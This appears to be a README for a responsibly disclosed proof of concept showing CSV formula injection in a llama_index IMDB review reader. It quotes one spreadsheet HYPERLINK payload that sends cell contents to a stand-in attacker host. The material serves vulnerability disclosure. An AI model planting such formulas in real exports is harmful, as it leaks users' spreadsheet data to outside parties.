⚠️ Security Vulnerability PoC — CSV Formula Injection
This repository contains a proof-of-concept CSV file demonstrating a
responsibly-disclosed CSV/formula injection vulnerability in the
llama_index project
(llama-index-readers-imdb-review), submitted via
huntr's Model File Vulnerability (MFV) program.
What this file is
csv_injection_poc.csv reproduces the exact CSV export logic used by
llama_index/readers/imdb_review/scraper.py's main_scraper() function,
with a single malicious "review title" field:
=HYPERLINK("http://attacker.example/leak?d="&A2&A3,"Click for details")
This is a standard, non-destructive spreadsheet-formula-injection PoC payload (CWE-1236). It only builds a clickable link when opened in a spreadsheet application - it does not exfiltrate real data or execute arbitrary system commands.
Affected component
llama-index-readers-imdb-review - the title field extracted in
scrape_data() is never sanitized before being written to CSV via
pandas.DataFrame.to_csv() in main_scraper().
Do not
- Do not open this file in a spreadsheet application configured to auto-execute macros/DDE, unless you understand what you're doing.
- This is for vulnerability reproduction only.
Contact
Filed as part of responsible disclosure. See the corresponding huntr MFV report for full reproduction steps and impact analysis.